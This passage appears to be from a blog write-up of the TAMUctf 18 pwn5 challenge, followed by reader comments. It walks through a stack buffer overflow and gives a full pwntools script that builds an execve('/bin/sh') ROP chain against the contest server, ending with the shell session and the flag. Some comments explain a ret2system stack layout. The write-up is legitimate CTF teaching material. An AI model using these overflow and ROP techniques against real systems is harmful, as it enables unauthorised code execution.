0024| 0xff86dcf4 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0028| 0xff86dcf8 ("paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080488e3 in change_major ()
gdb-peda$ 

The next instruction is the ret instruction which will take the return address from the stack and proceed the execution at this address. On top of the stack is the value "iaaa" from our cyclic pattern. This means that the instruction pointer would be set to this value.

We can calculate the offset with python / pwntools:

root@kali:~/Downloads# python
...
>>> from pwn import *
>>> cyclic_find("iaaa")
32

We can now control the instruction pointer setting it to any address we would like to. But what address should we put it to? As we already figured out, we cannot use ret2libc since the binary is statically linked. Unfortunately the function system was not built in. We also cannot store and execute a shellcode on the stack since NX is enabled. Thus we have to use another technique called Return Oriented Programming (ROP). For more information on this technique see my writeup for RPISEC/MBE lab05.

ROP in short: we build a so called RIP-chain of little instruction snippets (gadgets) followed by a ret instruction in order to perform a more complex operation. In this case we want to make a syscall to execve passing the string "/bin/sh". This is the same what the shellcode we used for pwn3 does.

Unfortunately the binary does not contain the string "/bin/sh". This means we have to store it somewhere on our own. Because of ASLR the stack addresses are randomized and if we stored the string on the stack, we would not know its' address.

Luckily the information read on the beginning of the program (first_name, last_name, ...) are not stored on the stack:

[0x08048756]> is~first_name
vaddr=0x080f1a20 paddr=0x000a8a20 ord=1946 fwd=NONE sz=100 bind=GLOBAL type=OBJECT name=first_name

The variable first_name is global and is not being initialized. Uninitialized global variables are stored in the .bss section as we can verify by viewing the addresses:

[0x08048756]> iS~.bss
idx=17 vaddr=0x080eff6c paddr=0x000a6f6c sz=24 vsz=24 perm=--rw- name=.tbss
idx=25 vaddr=0x080f0f80 paddr=0x000a7f80 sz=3884 vsz=3884 perm=--rw- name=.bss

This means that we can enter "/bin/sh" as the first name and this string will be stored at the fixed address 0x080f1a20.

At next we have to find the appropriate instruction snippets (ROP-gadgets) to make the syscall to execve. This can be done using r2:

[0x08048756]> "/R/ pop ecx;ret"
  ...
  0x080e4325                 59  pop ecx
  0x080e4326                 c3  ret
  ...


[0x08048756]> "/R/ pop edx;ret"
  ...
  0x080ea949                 5a  pop edx
  0x080ea94a                 c3  ret
  ...


[0x08048756]> "/R/ xor eax, eax;ret"
  ...
  0x080be483               31c0  xor eax, eax
  0x080be485                 5b  pop ebx
  0x080be486                 c3  ret
  ...


[0x08048756]> "/R/ mov al, 0xa;ret"
  ...
  0x080e80d5               b00a  mov al, 0xa
  0x080e80d7                 c3  ret
  ...


[0x08048756]> "/R/ inc eax;ret"
  ...
  0x0807ebcf                 40  inc eax
  0x0807ebd0                 c3  ret
  ...



[0x08048756]> "/R/ int 0x80"
  ...
  0x08073990               cd80  int 0x80
  ...

If certain gadgets are not available you have to be creative and find other ways to perform the required operation. For example I did not find a gadget which will store 0xb in eax (the syscall number for execve). Instead I found a gadget, which stores 0xa in eax and another gadget which increments eax by one.

When we found all required gadgets we can finally write a python-script which stores the string "/bin/sh", overwrites the return address and sets up the ROP-chain:

root@kali:~/Downloads/pwn_tamu# cat pwn5.py 
from pwn import *

p = remote("pwn.ctf.tamu.edu", 4325)

p.sendline("/bin/sh")   # obj.first_name stored at 0x080f1a20
p.sendline("llll")
p.sendline("mmmm")
p.sendline("y")
p.sendline("2")

expl = "A"*32
expl += p32(0x080e4325) # pop ecx; ret
expl += p32(0x00000000)
expl += p32(0x080ea949) # pop edx; ret
expl += p32(0x00000000)
expl += p32(0x080be483) # xor eax, eax; pop ebx; ret
expl += p32(0x080f1a20) # --> obj.first_name
expl += p32(0x080e80d5) # mov al, 0xa; ret
expl += p32(0x0807ebcf) # inc eax; ret
expl += p32(0x08073990) # int 0x80
p.sendline(expl)

p.interactive()

The return address is overwritten with the address of our first gadget. All other gadget addresses will be popped off the stack and loaded into eip by the ret instruction at the end of each previous gadget.

Running the script spawns our shell:

root@kali:~/Downloads/pwn_tamu# python pwn5.py 
[+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done
[*] Switching to interactive mode
$ whoami
pwnuser
$ ls -al
total 748
drwxr-xr-x  2 pwnflag pwnflag   4096 Feb 17 00:24 .
drwxr-xr-x 45 root    root      4096 Feb 17 00:24 ..
-r--r--r--  1 pwnflag pwnflag     25 Feb 16 22:13 flag.txt
-rwsr-xr-x  1 pwnflag pwnflag 750400 Feb 16 22:13 pwn5
$ cat flag.txt
gigem{r37urn_0f_7h3_pwn}

Done 🙂 The flag is gigem{r37urn_0f_7h3_pwn}.

4 Replies to “TAMUctf 18 – writeup pwn1-5”

  1. Congratulations on solving those challenges. It’s always interesting to see how others did it. Your pwn5 solution is way shorter than mine! Two cents to add tho for general your general workflow:
    * pwn:3 You don’t need a nop-sled in pwn3 as you get the exact address to jump to.
    * pwn3: pwntools shellcraft can build shellcode for you with `shellcode = asm(shellcraft.i386.linux.sh())` and you’re done.
    * pwn5, if you see “gets” in your `afl` (i.e. using `afl ~ gets`) it might save some time using `axt sym.gets` which will point you to change_major() directly.
    * Take a look at radare2s ragg2 tool. It’ll create those cyclic patterns for you! `ragg2 -P -r` and Query offset with `ragg2 -q `. You can directly write/read and convert from radare2 using `wopD` and `wopO` commands too. (check wop?) for more info.

    1. hi ysf,
      thanks for your comment! I totally agree with you and keep your annotations in mind for the next challenge 🙂

      greetings,
      scryh

    1. hi kerouac,

      here is the reason why both versions are working:

      Your are overwriting the return address with 0x8048599 (ls_addr). As you pointed out in your writeup a call to system is stored at this address:

      ...
       8048599:   e8 92 fe ff ff          call   8048430 
      ...
      

      When reaching the ret instruction at the end of the overflowed function (reduced_shell) the stack looks this after sending your exploit:

      EIP = 0x08048782 ( ret )
      
      [  0x8048599  (ls_addr)      ]  <--- ESP
      [  0x804a038  (bin_sh_addr)  ]
      

      The ret instruction now pops off the top item on the stack and proceeds the execution there:

      EIP = 0x8048599 ( call   8048430  )
      
      [  0x804a038  (bin_sh_addr)  ]  <--- ESP
      

      The call instruction pushes the address of the next instruction after the call on the stack in order to proceed the execution there after the call (return address) and sets the EIP to the called function's address:

      EIP = 0x8048430 ( jmp dword [reloc.system_28] )
      
      [  0x804859e  (return address) ]  <--- ESP
      [  0x804a038   (bin_sh_addr)   ]
      

      This return address is the address of the instruction following the call within the function ls: 0x804859e add esp,0x10.

      As you used an address on which the function system is called, you do not have to add the 4 additional junk-bytes. These are added by the call instruction (of course no junk-bytes but an actual return address).

      In my solution I overwrote the return address with the actual address of system 0x8048430 (within the plt). This means that there is no call instruction which pushes a return address on the stack. The execution directly proceeds within the function system. That is why I need to add the return address on my own (4 junk-bytes). When the function system is entered the stack looks like this:

      EIP = 0x8048430 ( jmp dword [reloc.system_28] )
      
      [  0x804859e   (   JUNK    )   ]  <--- ESP
      [  0x804a038   (bin_sh_addr)   ]
      

      The only difference is that after we close the shell and the function system is quit, the execution in your solution will proceed at 0x804859e while in my solution it will procced at JUNK (and probably causes a segmentation fault).

      It is a good pratice to use the address of the function exit as the return address in order to gracefully quit the program.

      greetings,
      scryh

Comments are closed.